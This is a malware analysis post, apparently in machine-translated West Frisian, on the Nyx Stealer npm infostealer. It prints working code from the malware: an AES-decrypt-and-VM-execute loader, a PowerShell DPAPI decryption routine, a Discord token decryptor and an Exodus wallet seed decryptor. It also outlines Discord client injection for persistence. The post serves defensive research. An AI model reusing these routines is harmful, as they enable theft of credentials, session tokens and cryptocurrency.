TL; DR
It Xygeni Feiligensûndersyksteam identifisearre in ferfine npm-ynfostealerkampanje dy't fia twa kweade pakketten levere waard: konsolofy en selsbot-lofy.
De lêste ferzje (consolelofy@1.3.0) ynbêdt in 216KB AES-fersifere lading dy't ûntsiferet by runtime en útfierd wurdt fia vm.runInNewContext()Omdat de kweade logika folslein fersifere is, kinne statyske scanners dy't fertrouwe op tekenrige-ynspeksje it gedrach net observearje oant de útfieringstiid.
Sadree't it ûntsifere is, de lading, yntern markearre Nyx Stealer, doelen:
- Discord-autentikaasjetokens
- 50+ winkels foar browsergegevens
- 90+ útwreidings foar krypto-muntwallets
- Roblox, Instagram, Spotify, Steam, Telegram en TikTok sesjes
- Persistinsje fan Discord-buroblêdkliïnt
Alle 20 ferzjes yn beide pakketten waarden rapportearre en befêstige as kwea-aardich.
Technysk oersjoch fan dizze npm Infostealer
Oars as tradisjonele malware op ynstallaasjetiid, is dizze kampanje ôfhinklik fan in runtime ûntsiferingsmodel.
Der binne:
- Gjin kwea-aardige
preinstallorpostinstallhooks - Gjin dúdlike netwurkopropen tidens ynstallaasje
- Gjin logika foar it sammeljen fan gewoane tekstgegevens
De lading wurdt aktivearre as de module ymportearre wurdt. De hiele kweade ynhâld wurdt fersifere en materialisearret allinich yn it ûnthâld by runtime.
Dit ûntwerp foarkomt spesifyk deteksje tidens de ynstallaasje fan pakketten.
Hoe dizze npm Infostealer eins útfierd wurdt
Foardat wy analysearje wat Nyx Stealer stielt, moatte wy begripe hoe't it útfiert.
De kweade logika yn dizze npm-ynfostealer folget in konsekwint patroan:
In lytse lader ûntsiferet in grutte fersifere lading en fiert it dynamysk út binnen in Node.js VM-kontekst.
Dit ûntwerp is bewust. De oanfaller ferberget funksjonaliteit net allinnich efter fertsjustering, se binne it folslein fuortsmiten fan 'e kweade koade út statyske sichtberens.
Heechnivo útfieringsmodel
Op in heech nivo docht de wrapper fjouwer dingen:
- Leidt in AES-kaai ôf fan in hurdkodearre wachtwurd mei SHA-256
- Untsiferet in grutte heksadesimale fersiferingstekst mei AES-256-CBC
- Fiert de ûntsifere JavaScript út mei
vm.runInNewContext() - Biedet in sandbox dy't noch altyd krêftige runtime-primitiven bleatstelt
Gearfetting fan 'e kearntechnyk
| Komponint | Konfiguraasje / Wearde |
|---|---|
| Algoritme | AES-256-CBC |
| Key Oflieding | SHA-256 (wachtwurd) |
| Inisjalisaasjevektor (IV) | 16 bytes fan 0x00 |
| Eksekúsje | vm.runInNewContext(ûntsifere, sandbox) |
Kritysk giet de sânbak troch:
requireprocessBuffer- timer
- module-eksport
Dit betsjut dat de ûntsifere lading de folsleine mooglikheid behâldt om:
- Spawnprosessen
- Lês en skriuw bestannen
- Meitsje netwurkopropen
- Lokale applikaasjes oanpasse
Dit is gjin beheinde VM. It is in VM dy't brûkt wurdt as in útfieringstrampoline.
Runtime-fersiferingspatroan (kearnútfieringsmeganisme)
De lader is lyts.
It kweade lichem is net.
Hjirûnder is it útfieringspatroan te finen yn it pakket:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Wêrom dit Matters
De ûntsifere lading:
- does net besteane yn platte tekst binnen it npm-pakket
- Is ûnsichtber foar ienfâldich
grepof statyske stringscanning - Allinnich materialisearre yn it ûnthâld by runtime
- Útfiert mei folsleine Node runtime-mooglikheden
Dizze AES + VM-útfieringskombinaasje is in sterke gedrachsyndikator fan in npm-ynfosteller besiket statyske ynspeksje te ûntkommen.
Mei oare wurden:
As jo de pakketboarnebeam scannen, sjogge jo gjin stealer.
Jo sjogge in dekrypter.
Wat bart der nei ûntsifering
Sadree't it útfierd is, lanseart Nyx Stealer parallelle gegevensferzamelingsweagen.
Welle 1: Ekstraksje fan browsergegevens
De malware:
- Downloadt in Python-runtime fan NuGet CDN
- Ynstallearret kryptografyske bibleteken
- Ekstraheart Chromium-basearre ynloggegevensopslaggen
- Untsiferet DPAPI-beskerme geheimen
Ynstee fan native bindings te kompilearjen, brûkt it PowerShell om Windows DPAPI direkt op te roppen.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Dizze oanpak:
- Foarkomt kompilaasje-artefakten
- Brûkt native Windows-krypto-API's
- Minget yn bestjoerlike ark
It is ûntsifering fan ynloggegevens op OS-nivo, net skraabjen.
Welle 2: Discord Token Dekryptering
De stealer is protokolbewust. Hy begrypt it fersifere tokenformaat fan Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Operasjonele flow:
- Masterkaai út Discord-kaai ekstrahearje
Local State - Dekryptearje de masterkaai fia DPAPI
- AES-GCM token-blobs ûntsiferje
- Falidearje tokens tsjin Discord API
- Ferrike mei Nitro, badges, fakturearringsynformaasje
Dit is gjin generike dumping fan ynloggegevens. It is protokol-bewuste sesjekaping.
Welle 3: Targeting fan krypto-faluta-wallets
De npm-ynfostealer neamt op:
- 90+ browser wallet-útwreidings
- 27 buroblêd wallets
- Kâlde portemonneepaden
- Exodus siedbestannen
Foarbyld fan siedûntsleutelingspoging:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } As it slagget, is de kompromittaasje fan 'e wallet direkt en ûnomkearber.
Dit fertsjintwurdiget de monetarisaasjevektor mei de heechste wearde fan 'e kampanje.
Persistinsje fia Discord Desktop Injection
Nei it rispjen fan ynloggegevens besiket Nyx Stealer persistinsje te krijen troch de lokale ... te wizigjen Untwerp kliïnt.
Doel:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operational Sequence
De ynfosteller docht de folgjende stappen:
- Beëiniget rinnende Discord-prosessen
- Lokalisearret ynstalleare Discord-farianten (Stable, Canary, PTB)
- Oerskriuwt
discord_desktop_core/index.js - Ynjektearret oanfaller-kontroleare webhook-logika
- Start Discord opnij
Dit soarget derfoar dat takomstige Discord-sesjes automatysk nije autentikaasjetokens lekke.
Wichtich is dat dizze persistinsje net ôfhinklik is fan plande taken of registermodifikaasjes. It makket gebrûk fan koademodifikaasje op applikaasjenivo, in mear ferburgen oanpak.
Sels as it kweade npm-pakket letter fuorthelle wurdt, bliuwt de Discord-kliïnt kompromittearre.
Technyske ferliking: Legitimate Selfbot vs npm Infostealer
| Komponint | Legitime bibleteek | Nyx npm Ynfosteller |
|---|---|---|
| fersifering | Gjin | Folsleine AES-fersifere lading |
| Runtime VM | Net fereaske | vm.runInNewContext eksekúsje |
| Tagong ta ynloggegevens | Allinnich Discord API | Browser, wallets, DPAPI |
| Eksterne downloads | Nee | Python-runtime fia NuGet |
| Persistence | Nee | Discord-kliïnt-ynjeksje |
| Monetarisaasje | Bot-automatisearring | Wederferkeap fan akkreditaasjebewiis |
De fersiferingslaach allinich skiedt dizze kampanje al fan in typyske iepen boarne-fork.
In legitime Discord selfbot hat gjin reden om syn hiele koadebasis te fersiferjen, PowerShell te starten om tagong te krijen ta DPAPI, eksterne runtimes te downloaden of de ynterne funksjes fan buroblêdapplikaasjes te wizigjen. As dy mooglikheden ferskine binnen in ôfhinklikens dy't beweart Discord-ynteraksjes te automatisearjen, wurdt de arsjitektoanyske mismatch ûnmooglik om te negearjen.
Fanút in ûndersykseachpunt lit dizze npm-ynfostealer spoaren oer meardere lagen efter. De meast betroubere yndikatoaren binne lykwols gjin hurdkodearre URL's of spesifike bestânspaden, om't dy tusken ferzjes kinne feroarje. Ynstee dêrfan binne de duorsume sinjalen struktureel.
Op pakketnivo is de sterkste reade flagge de kombinaasje fan in grutte fersifere lading en in runtime-dekrypteringswrapper dy't direkt útfiert fia vm.runInNewContext()Hoewol fersifering allinnich net ynherint kwea-aardich is, is it brûken fan AES-ûntsifering folge troch dynamyske VM-útfiering binnen in Discord-hulpprogrammapakket tige abnormaal.
Op hostnivo omfetsje fertochte patroanen ûnferwachte DPAPI-dekrypteringsaktiviteit, prosesútstjoering út in Node.js-ôfhinklikheidskontekst, en modifikaasje fan lokale applikaasjebestannen dy't nea feroare wurde moatte troch bibleteken fan tredden. Likegoed fertsjintwurdiget op 'e netwurklaach útgeande kommunikaasje yn webhook-styl dy't inisjearre wurdt troch in ûntwikkelingsôfhinklikens in oare betsjuttingsfolle anomalie.
Mei oare wurden, it deteksje-oerflak is gjin inkele yndikator fan kompromis. It is de korrelaasje fan fersifering, runtime-útfiering, tagong ta ynloggegevens en persistinsjegedrach dy't de bedriging oan it ljocht bringt.
Deteksje en mitigaasje mei Xygeni
Dizze npm-ynfosteller waard identifisearre troch Xygeni's Malware Early Warning (MEW) troch laachlike gedrachskorrelaasje ynstee fan ienfâldige hantekeningmatching.
Ynstee fan te sykjen nei bekende kweade tekenrige, evaluearret MEW strukturele anomalieën oer de folsleine boarnebeam. Yn dit gefal ûntstie de deteksje út 'e konverginsje fan ferskate sinjalen: in ynbêde AES-dekrypteringsroutine yn it module-yngongspunt, direkte útfiering binnen in VM-kontekst, en in dúdlike mooglikheden-nei-yntinsje-mismatch.
Wichtich is dat gjin fan dizze sinjalen allinich kweade bedoelingen bewiist. As se lykwols tegearre analysearre wurde, bleatstelle se in poging om runtime-gedrach te ferbergjen. Dizze laachoanpak ferminderet falske positiven signifikant, wylst se bedrigingen yn 'e supply chain mei hege fertrouwen identifisearret.
Fierder yllustrearret dizze saak wêrom't ynspeksje by ynstallaasje allinich net genôch is. De kweade logika sit net yn libbensyklusskripts. It aktivearret allinich nei't de module laden is en wurdt allinich sichtber as it yn it ûnthâld ûntsifere is. Dêrom fereasket effektive ferdigening fersiferingsbewuste analyze, erkenning fan gedrachspatroanen en trochgeande ôfhinklikheidsmonitoring bûten ynstallaasje-eveneminten.
It fuortheljen fan it register is reaktyf. Runtime-bewuste analyse is previntyf.
Wêrom dizze npm-ynfostealer wichtich is
Nyx Stealer fertsjintwurdiget in strukturele evolúsje yn npm-basearre malware.
Histoarysk sjoen fertrouden in protte kweade pakketten op sichtbere ynstallaasjeskripts of dúdlike einpunten foar it útwreidzjen fan ynloggegevens. Yn tsjinstelling, dizze kampanje fersiferet syn lading, stelt de útfiering út nei runtime, makket gebrûk fan legitime bestjoeringssysteem-API's, en fêstiget persistinsje binnen fertroude applikaasjes.
Dêrtroch hoecht de oanfaller de npm-ynfrastruktuer sels net te eksploitearjen. Ynstee dêrfan slagget de oanfal, om't de ynstallaasje fan ôfhinklikens fertrouwen ymplisearret. Untwikkelders geane derfan út dat it ymportearjen fan in bibleteek in feilige operaasje is, foaral as it himsels presintearret as in plausibele fork fan in populêr ark.
As ekosystemen trochgean te groeien en forks proliferearje, wurdt dy ymplisite fertrouwensgrins in hieltyd oantrekliker oanfalsflak. Dêrom fereasket ferdigening tsjin moderne npm-ynfostealers it werkennen fan arsjitektuerpatroanen ynstee fan it sykjen nei statyske strings.
Uteinlik fersterket dizze kampanje in wichtige les yn software supply chain securityDe gefaarlikste bedrigingen binne net dejingen dy't op it earste each kwea-aerdich lykje, mar dejingen dy't struktureel legitime lykje oant runtime har wiere gedrach iepenbiere.




